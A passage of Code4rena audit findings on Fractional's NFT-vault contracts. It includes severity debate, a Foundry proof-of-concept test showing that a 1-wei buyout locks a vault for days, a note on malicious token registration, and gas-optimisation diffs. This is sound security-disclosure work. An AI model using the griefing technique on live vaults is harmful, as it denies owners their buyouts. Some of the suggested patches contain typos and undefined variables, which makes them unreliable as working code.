@@ -272,6 +287,18 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         emit Cash(_vault, msg.sender, buyoutShare);
     }
 
+    function updateSupply(address _vault) external{
+        (, , , uint256 buyoutPrice, , uint256 lastTotalSupply ) = this.buyoutInfo(_vault);
+
+        uint256 newTotalSupply = IVaultRegistry(registry).totalSupply(_vault);
+        uint256 newEstimatedFractionPrice = buyoutPrice / newTotalSupply;
+        if(newTotalSupply == lastTotalSupply){
+            revert SupplyHasntChanged();
+        }
+        this.buyoutInfo(_vault).lastTotalSupply = newTotalSupply; 
+        emit TotalSupplyChanged(lastTotalSupply, newTotalSupply, newEstimatedFractionPrice);
+    }

#0 - stevennevins

2022-07-21T18:18:40Z

Duplicate of #148

#1 - HardlyDifficult

2022-08-05T12:42:34Z

This is a valid suggestion to consider, improving robustness for future modules. Lowering risk and merging with the warden's QA report #524

#2 - 0xA5DF

2022-08-11T10:45:53Z

Reading Fractional's docs, it seems that they intend the vaults to use not only their modules, but also from other sources as long as they're trusted:

Additionally, users should only interact with Vaults that have been deployed using modules that they trust, since a malicious actor could deploy a Vault with malicious modules.

An innocent user or an attacker can be creating a split module, even getting it reviewed or audited and then creating a vault with it. Users would trust the vault, and when the bug is exploited it'd be the Bouyout module responsibility since it's the one that contains the bug (if your platform is intended to be extendable, then you should take into account any normal behavior that those extensions might have).

#3 - HardlyDifficult

2022-08-11T16:02:58Z

Fair point. I'll reset this to Medium. Thanks

#4 - stevennevins

2022-08-25T16:53:14Z

Just to add, we're not certifying that the Buyout is safe in every context that it could be used in. In that statement we were trying to indicate that you can add modules outside of our curated set, but you would need to be aware of the trust assumptions with regards to both the individual module as well as their composition with others ie rapid inflationary mechanisms and a buyout. I recognize that we could have better handled the case of fraction supply changes during a buyout but inflation was outside of our initial scope for our curated launch. Thank you for reviewing our protocol and providing feedback it's greatly appreciated 🙏

#5 - 0xA5DF

2022-08-26T17:17:55Z

Hi Just wanna address a few points here.

Scope:

I don't think it's fair towards wardens to exclude whatever wasn't explicitly excluded in the contest description that was given at the beginning of the contest (I don't mean to explicitly address that specific issue, but to have the exclusion clearly inferred from the given contest description).

Responsibility:

While sponsors input and the way they view the platform is important, I think what matters the most is the way the users would view it with the given docs and the trust they'll loose in the platform in case of an attack. Since it isn't mentioned anywhere that the modules assume total supply didn't change and that new modules should specifically look into the existing modules, I believe the platform would bare at least some responsibility in case of an attack. Since the platform is intended to be flexible and a supply change is a very normal behavior which should be taken into account.

Severity:

I'm not sure if C4 is going by OWASP severity assessment model (last reports do mention it, the docs repo does too but the docs website doesn't seem to mention it), but it seems like it's going along the lines of it. So it's worth mentioning that the impact of this issue is high - loss of assets, so under the OWASP model as long as the likelihood of it happening (under normal user behavior) is not negligible I think this should be considered medium.

Findings Information

Awards

14.6423 USDC - $14.64

Labels

bug
2 (Med Risk)

External Links

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/main/src/modules/Buyout.sol#L57-L107

Vulnerability details

The underlying issue here is:

  • A user can create a buyout with as little as 1 wei (which is basically nothing, it's worth about 1e-15 USD), without any fractions
  • Once a buyout is created, nobody else can create another buyout on the same vault till the previous buyout ends (even if he'd like to offer a much higher price)

This leads to the fact that with as little as 1 wei a user can block a vault from holding a buyout for 4 days.

Impact

This can make the buyout module unavailable for a vault for days. This can either be used in general, or to front-run and prevent a specific buyout offer.

Proof of Concept

I've added the following test to test/Buyout.t.sol, and it passes (i.e. the bug exists)



    function testStartWith1Wei_bug() public {
        initializeBuyout(alice, bob, TOTAL_SUPPLY, 0, true);

        // bob holds zero fractions, and can still start a buyout
        assertEq(getFractionBalance(bob.addr), 0);

        // Bob starts a buyout with as little as 1 wei
        bob.buyoutModule.start{value:1}(vault);

        // almost 4 days have passed but Alice still
        // can't start a buyout till Bob's buyout ends
        vm.warp(block.timestamp + 3.9 days);

        // the next call would revert with the `invalid state` error
        vm.expectRevert(
            abi.encodeWithSelector(
                IBuyout.InvalidState.selector,
                0,1
            )
        );
        // Alice can't start a buyout till eve's buyout ends
        alice.buyoutModule.start{value: 1 ether}(vault);
    }

Tools Used

Foundry

  • While a buyout is running - allow other users to offer a higher buyout

    • This can either be a continuation of the previous buyout, or start a new one with proposal/rejection period starting form the current time.
    • In case it restarts the buyout - you'd might want to require a minimum increase from the previous buyout price (e.g. 5% more than the previous one), in order to prevent a buyout from running forever
  • Alternately, you can require a user to hold a minimum percent of fractions to start a buyout, this way if the offer is unrealistically low - the user would loose his fractions. Effectively putting a price tag for DoS-ing a vault.

#0 - 0x0aa0

2022-07-19T17:33:06Z

Duplicate of #87

#1 - HardlyDifficult

2022-08-02T21:53:59Z

#2 - HardlyDifficult

2022-09-01T12:43:53Z

Unrealistic proposals can prevent legit offers from being made for a period of time, and that can be repeated to attempt to DOS. Agree with the warden's severity of Medium risk since there is an opportunity for the legit proposal to be included after the griefing one expires.

Selecting this instance as the primary for including a clear coded POC.

A malicious token can be registered via VaultRegistry.createInCollection

Lines: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultRegistry.sol#L102-L112

Disclosure - I've mentioned this in another bug, however I do believe this is a bug on its own so I'm filing this here too.

I haven't found a place where this can be exploited (besides exploiting the vault it was created for, and the other bug mentioned), but I think it'd be better to prevent creating a vault with a malicious token.

Mitigation

Make the controller pass the vault instead of the token, this way we can make sure the token belongs to an actual vault and not a malicious token (this will cost some extra gas, but it may be worth it)


     /// @return vault Address of Proxy contract
     function createInCollection(
         bytes32 _merkleRoot,
-        address _token,
+        address _vault,
         address[] memory _plugins,
         bytes4[] memory _selectors
     ) external returns (address vault) {
+        address _token = vaultToToken[vault].token;
         address controller = FERC1155(_token).controller();
         if (controller != msg.sender)
             revert InvalidController(controller, msg.sender);

BaseVault.generateMerkleTree() wrongly assumes the leavs will always be 6

Lines: https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/protoforms/BaseVault.sol#L128

hashes = new bytes32[](6);

The function assumes that hashes length will be 6, this is true for the case used in testing (where only BaseVault and Buyout modules are used), however in case that a user would like to add another module (that has at least one leaf) - the creation of the vault will fail with index out of bond error.

Migitation

Solution A: Create the leaves array only after getting all the nodes, this will probably cost some extra gas:

        uint256 counter;
         hashes = new bytes32[](6);
+        bytes32[] memory leavesArr = new bytes32[][](_modules.length);
+        uint256 total;
         unchecked {
             for (uint256 i; i < _modules.length; ++i) {
                 bytes32[] memory leaves = IModule(_modules[i]).getLeafNodes();
+                leavsArr[i] = leavs;
+                total += leaves.length;
+            }
+            for (uint256 i; i < _modules.length; ++i) {
                 for (uint256 j; j < leaves.length; ++j) {
                     hashes[counter++] = leaves[j];
                 }

Solution B: calculate the lenght off-chain (and just verify the length). This would probably save some gas compared to solution A.

-    function generateMerkleTree(address[] calldata _modules)
+    function generateMerkleTree(address[] calldata _modules, uint256 leavsLength )
         public
         view
         returns (bytes32[] memory hashes)
     {
-        uint256 counter;
-        hashes = new bytes32[](6);
+        hashes = new bytes32[](leavsLength);
         unchecked {
             for (uint256 i; i < _modules.length; ++i) {
                 bytes32[] memory leaves = IModule(_modules[i]).getLeafNodes();
@@ -134,5 +134,6 @@ contract BaseVault is IBaseVault, MerkleBase, Minter, Multicall {
                 }
             }
         }
+        require(leavsLength == counter);
     }
 }

#0 - 0xA5DF

2022-08-19T20:47:46Z

2nd bug here is duplicate of #447 which ended up as a medium bug @HardlyDifficult (disclosure: this is my submission)

#1 - 0xA5DF

2022-08-19T21:02:42Z

PS: also QA reports #540 and #304 contain this bug

<h1 id="top"> Table of Content </h1>

<h2 id="reuse"> reuse loaded variable to get total supply

<sup>^ back to top ^</sup>

Instead of calling IVaultRegistry(registry).totalSupply(_vault), which would load again token and id from storage, we could use the token and id we've already loaded.


+import {IFERC1155} from "../interfaces/IFERC1155.sol";
+
 /// @title Buyout
 /// @author Fractional Art
 /// @notice Module contract for vaults to hold buyout pools
@@ -68,7 +70,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         if (current != required) revert InvalidState(required, current);
 
         // Gets total supply of fractional tokens for the vault
-        uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
+        uint256 totalSupply = IFERC1155(token).totalSupply(id);
         // Gets total balance of fractional tokens owned by caller
         uint256 depositAmount = IERC1155(token).balanceOf(msg.sender, id);
 
@@ -118,6 +120,8 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         (uint256 startTime, , State current, uint256 fractionPrice, , ) = this
             .buyoutInfo(_vault);
         // Reverts if auction state is not live
+        // @audit make state constant to save gas
+        // this is not going to save much because the var is stored in memory
         State required = State.LIVE;
         if (current != required) revert InvalidState(required, current);
         // Reverts if current time is greater than end time of proposal period
@@ -205,9 +209,10 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
 
         uint256 tokenBalance = IERC1155(token).balanceOf(address(this), id);
         // Checks totalSupply of auction pool to determine if buyout is successful or not
+        // @audit would be cheaper to do this than have vault registery load it again from storage
         if (
             (tokenBalance * 1000) /
-                IVaultRegistry(registry).totalSupply(_vault) >
+                IFERC1155(token).totalSupply(id) >
             500
         ) {
             // Initializes vault transaction
@@ -264,7 +269,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         IVault(payable(_vault)).execute(supply, data, _burnProof);
 
         // Transfers buyout share amount to caller based on total supply
-        uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
+        uint256 totalSupply = IFERC1155(token).totalSupply(id);
         uint256 buyoutShare = (tokenBalance * ethBalance) /
             (totalSupply + tokenBalance);
         _sendEthOrWeth(msg.sender, buyoutShare);
@@ -277,7 +282,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
     /// @param _burnProof Merkle proof for burning fractional tokens
     function redeem(address _vault, bytes32[] calldata _burnProof) external {
         // Reverts if address is not a registered vault
-        (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault);
+        (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault);
         if (id == 0) revert NotVault(_vault);
         // Reverts if auction state is not inactive
         (, , State current, , , ) = this.buyoutInfo(_vault);
@@ -285,7 +290,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         if (current != required) revert InvalidState(required, current);
 
         // Initializes vault transaction
-        uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
+        uint256 totalSupply = IFERC1155(token).totalSupply(id);
         bytes memory data = abi.encodeCall(
             ISupply.burn,
             (msg.sender, totalSupply)
diff --git a/src/modules/Migration.sol b/src/modules/Migration.sol
index d81d0ef..7d4301f 100644
--- a/src/modules/Migration.sol
+++ b/src/modules/Migration.sol
@@ -78,7 +78,7 @@ contract Migration is
         uint256 _targetPrice
     ) external {
         // Reverts if address is not a registered vault
-        (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault);
+        (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault);
         if (id == 0) revert NotVault(_vault);
         // Reverts if buyout state is not inactive
         (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault);
@@ -92,9 +92,7 @@ contract Migration is
         proposal.modules = _modules;
         proposal.plugins = _plugins;
         proposal.selectors = _selectors;
-        proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply(
-            _vault
-        );
+        proposal.oldFractionSupply = IFERC1155(token).totalSupply(id);
         proposal.newFractionSupply = _newFractionSupply;
     }
 
@@ -197,7 +195,7 @@ contract Migration is
         // Calculates current price of the proposal based on total supply
         uint256 currentPrice = _calculateTotal(
             100,
-            IVaultRegistry(registry).totalSupply(_vault),
+            IFERC1155(token).totalSupply(id),
             proposal.totalEth,
             proposal.totalFractions
         );
@@ -467,7 +465,7 @@ contract Migration is
         (address token, uint256 newFractionId) = IVaultRegistry(registry)
             .vaultToToken(newVault);
         // Calculates share amount of fractions for the new vault based on the new total supply
-        uint256 newTotalSupply = IVaultRegistry(registry).totalSupply(newVault);
+        uint256 newTotalSupply = IFERC1155(token).totalSupply(newFractionId);
         uint256 shareAmount = (balanceContributedInEth * newTotalSupply) /
             totalInEth;

<h2 id="immutable"> Some variable can be immutable

<sup>^ back to top ^</sup>

This would save loading the variable from storage each time.

diff --git a/src/VaultFactory.sol b/src/VaultFactory.sol
index 0902ebb..b08e56e 100644
--- a/src/VaultFactory.sol
+++ b/src/VaultFactory.sol
@@ -12,7 +12,8 @@ contract VaultFactory is IVaultFactory {
     /// @dev Use clones library for address types
     using Create2ClonesWithImmutableArgs for address;
     /// @notice Address of Vault proxy contract
-    address public implementation;
+    // @audit can be set to immutable since it doesn't change
+    address immutable public implementation;
     /// @dev Internal mapping to track the next seed to be used by an EOA
     mapping(address => bytes32) internal nextSeeds;
 
diff --git a/src/modules/Migration.sol b/src/modules/Migration.sol
index d81d0ef..810fa1d 100644
--- a/src/modules/Migration.sol
+++ b/src/modules/Migration.sol
@@ -34,9 +34,9 @@ contract Migration is
     ReentrancyGuard
 {
     /// @notice Address of Buyout module contract
-    address payable public buyout;
+    address payable immutable public buyout;
     /// @notice Address of VaultRegistry contract
-    address public registry;
+    address immutable public registry;
     /// @notice Counter used to assign IDs to new proposals
     uint256 public nextId;
     /// @notice The length for the migration proposal period
diff --git a/src/modules/protoforms/BaseVault.sol b/src/modules/protoforms/BaseVault.sol
index e02abf0..a8e4476 100644
--- a/src/modules/protoforms/BaseVault.sol
+++ b/src/modules/protoforms/BaseVault.sol
@@ -16,7 +16,7 @@ import {Multicall} from "../../utils/Multicall.sol";
 /// @notice Protoform contract for vault deployments with a fixed supply and buyout mechanism
 contract BaseVault is IBaseVault, MerkleBase, Minter, Multicall {
     /// @notice Address of VaultRegistry contract
-    address public registry;
+    address immutable public registry;
 
     /// @notice Initializes registry and supply contracts
     /// @param _registry Address of the VaultRegistry contract

<h2 id="init"> Add an initFor function to Vault to save gas in VaultFactory

<sup>^ back to top ^</sup>

Instead of doing an init and then transferring ownership (transferOwner takes an extra sstore op), just add to Vault functionality that let's init for another address and use it in VaultFactory.

diff --git a/src/Vault.sol b/src/Vault.sol
index 60c9bff..23e1c66 100644
--- a/src/Vault.sol
+++ b/src/Vault.sol
@@ -22,10 +22,14 @@ contract Vault is IVault, NFTReceiver {
 
     /// @dev Initializes nonce and proxy owner
     function init() external {
+        initFor(msg.sender);
+    }
+
+    function initFor(address _owner) public {
         if (nonce != 0) revert Initialized(owner, msg.sender, nonce);
         nonce = 1;
-        owner = msg.sender;
-        emit TransferOwnership(address(0), msg.sender);
+        owner = _owner;
+        emit TransferOwnership(address(0), _owner);
     }
 
     /// @dev Callback for receiving Ether when the calldata is empty
diff --git a/src/VaultFactory.sol b/src/VaultFactory.sol
index 0902ebb..169113f 100644
--- a/src/VaultFactory.sol
+++ b/src/VaultFactory.sol
@@ -67,10 +67,10 @@ contract VaultFactory is IVaultFactory {
 
         bytes memory data = abi.encodePacked();
         vault = implementation.clone(salt, data);
-        Vault(vault).init();
+        Vault(vault).initFor(_owner);
 
         // Transfer the ownership from this factory contract to the specified owner.
-        Vault(vault).transferOwnership(_owner);
+        // Vault(vault).transferOwnership(_owner);
 
         // Increment the seed.
         unchecked {

<h2 id="delete"> Use delete instead of setting to zero

<sup>^ back to top ^</sup>

This doesn't seem to save gas at runtime, but does save a bit of deployment size

diff --git a/src/Vault.sol b/src/Vault.sol
index 60c9bff..0059d94 100644
--- a/src/Vault.sol
+++ b/src/Vault.sol
@@ -102,7 +102,7 @@ contract Vault is IVault, NFTReceiver {
         if (owner != msg.sender) revert NotOwner(owner, msg.sender);
         uint256 length = _selectors.length;
         for (uint256 i = 0; i < length; i++) {
-            methods[_selectors[i]] = address(0);
+            delete methods[_selectors[i]];
         }
         emit UninstallPlugin(_selectors);
     }

Deployment size and cost diff:

 ╭────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
 │ src/VaultFactory.sol:VaultFactory contract ┆                 ┆        ┆        ┆        ┆         │
 ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                            ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 1121723                                    ┆ 5483            ┆        ┆        ┆        ┆         │
+│ 1118110                                    ┆ 5465            ┆        ┆        ┆        ┆         │
 
------------------------------------------------ 
 ╭────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
 │ src/VaultFactory.sol:VaultFactory contract ┆                 ┆        ┆        ┆        ┆         │
 ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                            ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 1121723                                    ┆ 5483            ┆        ┆        ┆        ┆         │
+│ 1118110                                    ┆ 5465            ┆        ┆        ┆        ┆         │
 
---------------------------
 ╭──────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮
 │ src/VaultRegistry.sol:VaultRegistry contract ┆                 ┆        ┆        ┆        ┆         │
 ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡
 │ Deployment Cost                              ┆ Deployment Size ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 3898606                                      ┆ 19409           ┆        ┆        ┆        ┆         │
+│ 3894990                                      ┆ 19391           ┆        ┆        ┆        ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name

<h2 id="zero-transfer"> Don't transfer when amount is zero

<sup>^ back to top ^</sup>

  • In the function Buyout.start depositAmount might be zero (in case that the proposer doesn't hold any fractions)
  • In the function Buyout.end tokenBalance might be zero (if all fractions were bought) Since IERC1155.safeTransferFrom costs about 21K gas units on avg (according to the gas report), it's worth checking before that the amount isn't zero.
diff --git a/src/modules/Buyout.sol b/src/modules/Buyout.sol
index 1557233..5420710 100644
--- a/src/modules/Buyout.sol
+++ b/src/modules/Buyout.sol
@@ -72,14 +72,16 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
         // Gets total balance of fractional tokens owned by caller
         uint256 depositAmount = IERC1155(token).balanceOf(msg.sender, id);
 
-        // Transfers fractional tokens into the buyout pool
-        IERC1155(token).safeTransferFrom(
-            msg.sender,
-            address(this),
-            id,
-            depositAmount,
-            ""
-        );
+        if(depositAmount != 0){
+            // Transfers fractional tokens into the buyout pool
+            IERC1155(token).safeTransferFrom(
+                msg.sender,
+                address(this),
+                id,
+                depositAmount,
+                ""
+            );
+        }
 
         // Calculates price of buyout and fractions
         // @dev Reverts with division error if called with total supply of tokens
@@ -225,14 +227,18 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit {
             // Deletes auction info
             delete buyoutInfo[_vault];
             // Transfers fractions and ether back to proposer of the buyout pool
-            IERC1155(token).safeTransferFrom(
-                address(this),
-                proposer,
-                id,
-                tokenBalance,
-                ""
-            );
-            _sendEthOrWeth(proposer, ethBalance);
+            if(tokenBalance != 0){
+                IERC1155(token).safeTransferFrom(
+                    address(this),
+                    proposer,
+                    id,
+                    tokenBalance,
+                    ""
+                );
+            }
+            if(ethBalance != 0){
+                _sendEthOrWeth(proposer, ethBalance);
+            }
             // Emits event for ending unsuccessful auction
             emit End(_vault, State.INACTIVE, proposer);
         }

<h2 id="merkle-cache"> cache merkle proof-check

<sup>^ back to top ^</sup>

This one might need further checking and consideration, but caching merkle proof might be cheaper in the long run. Here's the math:

  • Verifying merkle proof costs about 0.9K per layer, which would be 2.7K per 3 layers (leafs > 4, current situation in testing), 3.6K for 4 layers (leafs > 8) and 4.5K for 5 layers (leafs > 16)
  • Loading a cold key from storage should cost about 2.1K, that could be much cheaper (even for 3 layers) in many cases, all we'll need is to cache that leaf once (~21K)
  • Of course not all leafs would necessarily cached, so in order to not waste gas if it's not - the caller would have to specify if to check cache or not

Here's the suggested code change:

diff --git a/src/Vault.sol b/src/Vault.sol
index 60c9bff..86aa720 100644
--- a/src/Vault.sol
+++ b/src/Vault.sol
@@ -17,6 +17,12 @@ contract Vault is IVault, NFTReceiver {
     uint256 public nonce;
     /// @dev Minimum reserve of gas units
     uint256 private constant MIN_GAS_RESERVE = 5_000;
+
+    error CacheFailed(address source, bytes32 leaf, bytes32 cachedRoot);
+    event Cache(address source, bytes32 leaf, bytes32 cachedRoot);
+
+
+    mapping(bytes32 => bytes32) public merkleCache;
     /// @notice Mapping of function selector to plugin address
     mapping(bytes4 => address) public methods;
 
@@ -49,7 +55,8 @@ contract Vault is IVault, NFTReceiver {
     function execute(
         address _target,
         bytes calldata _data,
-        bytes32[] calldata _proof
+        bytes32[] calldata _proof,
+        bool checkCache
     ) external payable returns (bool success, bytes memory response) {
         bytes4 selector;
         assembly {
@@ -59,14 +66,44 @@ contract Vault is IVault, NFTReceiver {
         // Generate leaf node by hashing module, target and function selector.
         bytes32 leaf = keccak256(abi.encode(msg.sender, _target, selector));
         // Check that the caller is either a module with permission to call or the owner.
-        if (!MerkleProof.verify(_proof, merkleRoot, leaf)) {
-            if (msg.sender != owner)
-                revert NotAuthorized(msg.sender, _target, selector);
+        if(checkCache){
+            bytes32 cached = merkleCache[leaf];
+            if(cached != merkleRoot)
+                revert CacheFailed(address(this), leaf, cached);
+
+        }else{
+            if (!MerkleProof.verify(_proof, merkleRoot, leaf)) {
+                if (msg.sender != owner)
+                    revert NotAuthorized(msg.sender, _target, selector);
+            }
         }
 
         (success, response) = _execute(_target, _data);
     }
 
+    function cacheMerkleProof(
+        address user,
+        address _target,
+        bytes calldata _data,
+        bytes32[] calldata _proof
+    ) public{
+       bytes4 selector;
+        assembly {
+            selector := calldataload(_data.offset)
+        }
+
+        // Generate leaf node by hashing module, target and function selector.
+        bytes32 leaf = keccak256(abi.encode(user, _target, selector));
+        // Check that the caller is either a module with permission to call or the owner.
+        if (!MerkleProof.verify(_proof, merkleRoot, leaf)) {
+            if (user != owner)
+                revert NotAuthorized(user, _target, selector);
+        }
+    
+        merkleCache[leaf] = merkleRoot;
+        emit Cache(address(this), leaf, merkleRoot);
+    }
+

Here's the gas diff when I cached the leafs of the Buyout module

  • Notice that most of the functions of Buyout.sol went down by 500-700 units per call, as expected
  • Execute went down by avg of 200 units, and up ~60 units in some cases (probably when not cached)

Disclaimer: Foundry might be considered each test as one tx, making the cache warm after the 1st call (therefore charging less gas than real world scenario). Further testing is needed (and there's no much time left for that till the end of the contest)

 ╭────────────────────────────────────┬─────────────────┬───────┬────────┬───────┬─────────╮
 │ src/FERC1155.sol:FERC1155 contract ┆                 ┆       ┆        ┆       ┆         │
 ╞════════════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡
@@ -244,31 +244,33 @@ Test result: ok. 17 passed; 0 failed; finished in 1.66s
 ╞══════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡
 │ Deployment Cost              ┆ Deployment Size ┆       ┆        ┆       ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ 816851                       ┆ 4112            ┆       ┆        ┆       ┆         │
+│ 942381                       ┆ 4739            ┆       ┆        ┆       ┆         │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ Function Name                ┆ min             ┆ avg   ┆ median ┆ max   ┆ # calls │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
+│ cacheMerkleProof             ┆ 26174           ┆ 26365 ┆ 26479  ┆ 26499 ┆ 445     │
+├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ execute                      ┆ 3585            ┆ 40695 ┆ 61452  ┆ 66336 ┆ 182     │
+│ execute                      ┆ 3656            ┆ 40470 ┆ 61525  ┆ 66395 ┆ 182     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ fallback                     ┆ 55              ┆ 55    ┆ 55     ┆ 55    ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
 │ init                         ┆ 638             ┆ 45712 ┆ 45982  ┆ 45982 ┆ 183     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ install                      ┆ 3437            ┆ 37491 ┆ 3437   ┆ 73979 ┆ 174     │
+│ install                      ┆ 3415            ┆ 37469 ┆ 3415   ┆ 73957 ┆ 174     │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ merkleRoot                   ┆ 340             ┆ 340   ┆ 340    ┆ 340   ┆ 1       │
+│ merkleRoot                   ┆ 318             ┆ 318   ┆ 318    ┆ 318   ┆ 1       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ nonce                        ┆ 362             ┆ 1028  ┆ 362    ┆ 2362  ┆ 3       │
+│ nonce                        ┆ 340             ┆ 1006  ┆ 340    ┆ 2340  ┆ 3       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
-│ onERC1155BatchReceived       ┆ 1246            ┆ 1246  ┆ 1246   ┆ 1246  ┆ 2       │
+│ onERC1155BatchReceived       ┆ 1291            ┆ 1291  ┆ 1291   ┆ 1291  ┆ 2       │
 ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤
